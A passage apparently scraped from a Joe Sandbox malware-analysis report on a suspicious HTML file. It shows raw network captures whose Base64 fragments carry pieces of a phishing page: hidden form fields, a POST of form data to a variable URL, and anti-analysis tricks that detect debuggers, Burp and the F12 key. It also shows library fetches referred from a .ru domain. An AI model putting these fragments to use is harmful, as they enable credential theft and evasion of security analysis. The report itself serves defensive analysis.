41 67 49 47 4e 76 62 6e 4e 30 49 47 35 33 65 6c 4a 4d 63 32 31 61 52 6b 49 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f Data Ascii: XQgR09UTEtmaXNNaCA9IGZhbHNlOw0KICAgIGNvbnN0IGZtQllyZVdEemEgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IG1sWlBVenFaZEwgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgZGVidWdnZXI7DQogICAgICAgIGNvbnN0IG53elJMc21aRkIgPSBwZXJmb3JtYW5jZS5ub3co
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 79 5a 57 59 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 79 5a 57 59 69 49 48 5a 68 62 48 56 6c 50 53 49 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 31 59 53 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 56 68 49 69 42 32 59 57 78 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 47 52 68 64 47 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 Data Ascii: hpZGRlbiIgaWQ9ImJsdGRyZWYiIG5hbWU9ImJsdGRyZWYiIHZhbHVlPSIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGR1YSIgbmFtZT0iYmx0ZHVhIiB2YWx1ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZGRhdGEiIG5hbWU9ImJsdGRkYXRhIiB2YWx1ZT0iIj4NCjwvZm9ybT4NCjwvZGl2Pg0KP
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 30 4b 43 6b 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 48 52 6c 65 48 51 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 47 6c 6d 4b 48 52 6c 65 48 51 67 50 54 30 67 4d 43 6c 37 44 51 6f 67 49 43 41 67 5a 6d 56 30 59 32 67 6f 62 45 68 76 56 46 46 71 53 6d 46 72 61 79 77 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 74 5a 58 52 6f 62 32 51 36 49 43 4a 51 54 31 4e 55 49 69 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 59 6d 39 6b 65 54 6f 67 62 6d 56 33 49 45 5a 76 63 6d 31 45 59 58 52 68 4b 48 68 45 5a 56 5a 32 56 6e 42 76 63 55 63 70 44 51 6f 67 49 43 41 67 66 53 6b 75 64 47 68 6c 62 69 68 79 5a 58 4e 77 62 32 35 7a 5a 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 79 5a 58 4e 77 62 32 35 7a 5a 53 35 71 63 32 Data Ascii: 0KCkNCiAgICB9KS50aGVuKHRleHQgPT4gew0KICAgIGlmKHRleHQgPT0gMCl7DQogICAgZmV0Y2gobEhvVFFqSmFraywgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgYm9keTogbmV3IEZvcm1EYXRhKHhEZVZ2VnBvcUcpDQogICAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgICAgIHJldHVybiByZXNwb25zZS5qc2
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 71 73 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 2f 2a 20 54 68 65 20 72 6f 61 64 20 74 6f 20 73 75 63 63 65 73 73 20 61 6e 64 20 74 68 65 20 72 6f 61 64 20 74 6f 20 66 61 69 6c 75 72 65 20 61 72 65 20 61 6c 6d 6f 73 74 20 65 78 61 63 74 6c 79 20 74 68 65 20 73 61 6d 65 2e 20 2a 2f 0d 0a 69 66 28 44 53 71 55 66 67 7a 47 65 4d 20 3d 3d 20 6e 61 54 48 6c 49 55 5a 53 47 29 7b 0d 0a 63 6f 6e 73 74 20 67 46 4c 55 4b 56 6b 4e 58 50 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 74 67 61 7a 6a 4b 4b 48 71 73 2e 70 61 74 68 6e 61 Data Ascii: qs.hostname.split('.').slice(-2).join('.');/* The road to success and the road to failure are almost exactly the same. */if(DSqUfgzGeM == naTHlIUZSG){const gFLUKVkNXP = window.location.pathname.split('%23')[0].split('%3F')[0];if (tgazjKKHqs.pathna
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 51 74 64 32 56 70 5a 32 68 30 4f 6a 55 77 4d 44 74 73 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 30 39 34 63 32 46 55 62 32 35 6e 62 30 6b 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 30 39 34 63 32 46 55 62 32 35 6e 62 30 6b 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 54 33 68 7a 59 56 52 76 62 6d 64 76 53 53 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 30 39 34 63 32 46 55 62 Data Ascii: Qtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI094c2FUb25nb0kgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI094c2FUb25nb0kgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojT3hzYVRvbmdvSSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI094c2FUb
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 67 66 48 77 67 62 6d 46 32 61 57 64 68 64 47 39 79 4c 6e 56 7a 5a 58 4a 42 5a 32 56 75 64 43 35 70 62 6d 4e 73 64 57 52 6c 63 79 67 69 51 6e 56 79 63 43 49 70 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 41 39 49 43 4a 68 59 6d 39 31 64 44 70 69 62 47 46 75 61 79 49 37 44 51 70 39 44 51 70 6b 62 32 4e 31 62 57 56 75 64 43 35 68 5a 47 52 46 64 6d 56 75 64 45 78 70 63 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 Data Ascii: gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:23 UTC	650	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wdii.cxbeurue.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:23 UTC	956	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 6650 Expires: Mon, 01 Dec 2025 20:03:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F3N7yoPtRa0sLT3Fl4XpOtJiPHRkq%2FdS0CnnLBv7PHyc45CgKVmohY3dQ0PBpKSE2td3PrUzpIbzcxswjJH5SWT4mFT1Xbq3pkjZrvOGYAeqqkN43OIraZTv%2BIU3vAURk5goS1%2F3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f0813e6dd4c0caa-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 20:03:23 UTC	413	IN	Data Raw: 37 62 66 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf5!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 Data Ascii: lobalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 Data Ascii: l(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)tr
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b Data Ascii: f t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 Data Ascii: t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e Data Ascii: (r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 Data Ascii: .byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:func
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 Data Ascii: At(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRS
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f Data Ascii: in(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._
2024-12-11 20:03:23 UTC	1369	IN	Data Raw: 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 Data Ascii: =C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vFile__0054seconds__Arkansas.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 267

Chrome Cache Entry: 268

Chrome Cache Entry: 269

Chrome Cache Entry: 270

Chrome Cache Entry: 271

Chrome Cache Entry: 272

Chrome Cache Entry: 273

Chrome Cache Entry: 274

Chrome Cache Entry: 275

Chrome Cache Entry: 276

Chrome Cache Entry: 277

Chrome Cache Entry: 278

Chrome Cache Entry: 279

Chrome Cache Entry: 280

Chrome Cache Entry: 281

Chrome Cache Entry: 282

Chrome Cache Entry: 283

Chrome Cache Entry: 284

Chrome Cache Entry: 285

Chrome Cache Entry: 286

Chrome Cache Entry: 287

Chrome Cache Entry: 288

Chrome Cache Entry: 289

Chrome Cache Entry: 290

Chrome Cache Entry: 291

Chrome Cache Entry: 292

Chrome Cache Entry: 293

Windows Analysis Report
vFile0054secondsArkansas.html

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:23 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wdii.cxbeurue.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
